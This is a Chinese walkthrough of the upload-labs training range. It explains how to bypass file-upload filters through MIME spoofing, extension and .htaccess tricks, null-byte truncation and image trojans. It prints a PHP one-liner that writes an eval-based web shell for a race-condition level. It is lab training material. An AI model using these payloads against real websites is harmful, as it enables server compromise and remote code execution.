upload-labs通關
0x00 前言
這段時間一直在忙,沒時間來更新文章,這里就寫篇upload-labs的通關手冊吧,現在包括網上也有很多upload通關手冊,但是在這里還是想自己去寫一篇,來做個自我總結。在做靶場當中也參考了網上的文章。
0x01 pass-01-10
第一關
來到第一關卡,選擇,把burp開啟抓包。點擊上傳會發現,直接就彈框不允許上傳了。
那么基本可以判斷這是個前端校驗的。此時有三種辦法,
(1)、審查元素刪除過濾函數
(2)、直接禁用js
(3)、先上傳jpg文件然后抓包重命名
這里就直接來禁用js文件繞過。
上傳成功。
第二關
查看源代碼
$_FILES["file"]["name"] - 上傳文件的名稱
$_FILES["file"]["type"] - 上傳文件的類型
$_FILES["file"]["size"] - 上傳文件的大小,以字節計
$_FILES["file"]["tmp_name"] - 存儲在服務器的文件的臨時副本的名稱
$_FILES["file"]["error"] - 由文件上傳導致的錯誤代碼
這里獲取了上傳文件的類型,如果類型等於image/jpeg、image/png、image/gif就可以上傳成功。
可以直接修改mime類型來繞過。
burp抓包,修改content-type的類型為image/gif
成功繞過。
第三關
file_exists() 函數檢查文件或目錄是否存在。
trim() :函數移除字符串兩側的空白字符或其他預定義字符。
deldot():移除末尾的點
strrchr() 函數查找字符在指定字符串中從后面開始的第一次出現的位置,如果成功,則返回從該位置到字符串結尾的所有字符,如果失敗,則返回 false。與之相對應的是strstr()函數,它查找字符串中首次出現指定字符的位置
strtolower:轉化為小寫
這里定義了一個數組,黑名單的數組,並且去除了末尾的點和空格、::$data等字符,且匹配了后綴名。
這里還可以使用到一些過濾不全去繞過,上傳php3或者是phtml一樣能被當做php來識別,當然這個得看apache的解析設置。
抓包改名為php3,點擊forword
上傳成功,成功被識別。
第四關
由於后面的關卡和前面的代碼大致一樣就不一一解釋了。
第四關卡把能禁用的都給禁用掉了,但是唯獨沒有禁用掉.htaccess 文件我們可以上傳.htaccess文件,然后再去上傳圖片馬。
.htacess 內容如下:
SetHandler application/x-httpd-php
成功繞過上傳限制。
第五關
這里比上一關少了一個轉換成小寫,我們就可以利用到大小寫去對他進行繞過。
windwos對大小寫不敏感,無論大小寫都能識別,而linux則相反。
上傳成功,下一關
第六關
這一關和前面的都差不多,去除了點號和::$data 但是缺少去除空格的函數。
我們可以加個空格來繞過他的限制,在windows里面后綴的空格會自動過濾掉。
這里后綴后面加了個空格,成功繞過
第七關
這里沒有去除后綴后面的點,我們可以利用到windows 后綴加點號自動過濾掉的這個特性來繞過限制。
成功繞過。
第八關
代碼里面去除了點號空格,但是這關確漏掉了::$data,我們就可以利用到windwos文件流特性去繞過文件上傳限制。利用的是NTFS文件系統的一個特性,NTFS存儲數據流的一個屬性,當我們這樣去訪問的時候,其實我們請求的,它就會被認為是phpinfo.php本身的數據
上傳完成后,去除::$data 直接訪問xx.php文件解析成功
第九關
第九關這個地方去除去除了大部分的東西,前面用到的點號和空格都被過濾了,但是這里還是有辦法繞過去,我們可以多加幾個空格和點 ,代碼里面的只過濾一次。
添加完成后發包過去就可以看到上傳成功。
訪問,解析成功。
第十關
在第十關代碼和前面的不大一樣,我們來審計一下代碼
這里定義了一個array數組,黑名單的數組,如果匹配到接收過來的后綴等於定義數組里面的內容就替換為空。
代碼如下:
$file_name = str_ireplace($deny_ext,"", $file_name);
str_ireplace 是個替換的函數
我們嘗試直接上傳個phpinfo 。
這里能直接上傳成功,但是后綴被替換為空了,因為這些代碼都是只過濾一次,我們可以使用到雙寫來繞過。
第十一關
這里的代碼寫的是白名單,只允許上傳jpg等圖片格式的文件,在我們前面用到的黑名單都不能使用了。
但是我們還可以利用到00截斷來對他進行繞過。
在url中%00表示ascll碼中的0 ,而ascii中0作為特殊字符保留,表示字符串結束,所以當url中出現%00時就會認為讀取已結束。
使用burp抓包后,發現他的目錄是可控的,我們可以直接從目錄那里對他進行截斷
發送 訪問
這里會訪問失敗,把php后面的東西去掉,再次訪問。
第十二關
第十二關也是一樣的白名單,先來抓個包看看
這里發現和前面不一樣的地方,就是剛剛的路徑是在url里面的,而這一個關卡的是在post包里面。
那么需要00截斷需要解碼,因為在url里面傳參會自動解碼而post里面不會。
發送
第十三關
這里的代碼定義個函數打開我們上傳的文件並且讀取我們的前面2位數。
這時候我們改文件后綴是沒用的,一樣上傳不了,可以直接加上gif89a或者是直接制作圖片馬。
copy 1.jpg/b+phpinfo.php/a 3.jpg
制作完成,直接上傳,然后還需要配合文件包含來解析。
圖片馬上傳成功,打開解析漏洞的頁面包含這張圖片。
成功執行。第十四關也是一樣的可以上傳成功,都是判斷了圖片的完整性
第十五關
這里使用的
exif_imagetype() 讀取一個圖像的第一個字節並檢查其簽名。
定義有以下常量,並代表了 exif_imagetype() 可能的返回值:
1 IMAGETYPE_GIF
2 IMAGETYPE_JPEG
3 IMAGETYPE_PNG
上傳圖片馬,配合文件包含漏洞,成功解析
這幾關里面,唯一不同的就是驗證圖片的方式和函數不一樣。
第十六關
這里的驗證比前面的多了不是,獲取了名字和mime類型,
然后進行校驗,驗證完成后才進行二次渲染
第十六關,使用了gd庫對圖片做了二次渲染。
那么我們先來上傳一個普通的圖片馬看看。
上傳完成后使用包含,報錯了。
我們來下載這張圖片然后對他進行查看。
用010editot打開發現我們后面加上的phpinfo();已經被刷掉了。
那么我們可以使用16進制對比工具來看 原圖和渲染后的圖,哪個地方沒用被gd給處理過,從gd庫沒處理的地方插入paylaod。
顯示藍色的是未被gd庫未被渲染的地方
關於二次渲染可以參考先知論壇大佬的文章,很詳細。
第十七關
move_uploaded_file() 函數將上傳的文件移動到新位置。
若成功,則返回 true,否則返回 false。
rename() 函數重命名文件或目錄。
這里先是把文件用move_uploaded_file()函數移動到了上傳的目錄下面,如果不是白名單,再使用unlink函數將文件刪除。
那么我們可以上傳寫入木馬的代碼
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]) ?>'); ?>
截取上傳數據包,發送到intrude模塊,持續發送,另外開一個持續訪問上傳的目錄。
等到響應200 的時候木馬就寫入成功了。
然后瀏覽器訪問shell.php
訪問成功,這時候就可以拿一句話去連接了
這里的條件競爭條件是文件未被重命名。
0x02 結尾
這里就把大致的方法都總結了一遍,當然還確實了一些各種的解析漏洞和文件包含的東西,都會配合到文件上傳漏洞來使用,在一些cms爆出后台getshell漏洞時候也可以getshell ,比如配置插馬,備份數據庫拿shelll 。